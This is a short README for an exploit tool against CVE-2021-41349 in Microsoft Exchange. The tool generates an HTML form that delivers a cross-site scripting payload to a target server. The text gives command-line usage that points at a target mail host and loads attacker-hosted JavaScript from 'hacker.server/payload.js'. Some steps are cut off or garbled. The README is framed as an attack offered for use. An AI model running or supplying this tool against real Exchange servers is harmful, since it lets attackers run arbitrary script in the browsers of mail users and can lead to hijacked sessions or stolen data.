
Exploit tool for CVE-2021-41349 that generates an HTML form to deliver XSS payloads to Microsoft Exchange servers, enabling execution of arbitrary JavaScript.
Exploiting: CVE-2021-41349
This exploiting tool creates a Form for posting XSS Payload to the target Exchange server.
You need to create a js containing your desire to do.
js Payload and upload it somewhare.CVE-2021-41349.py same as following steps.python3 CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html
or:
./CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html
html file into server.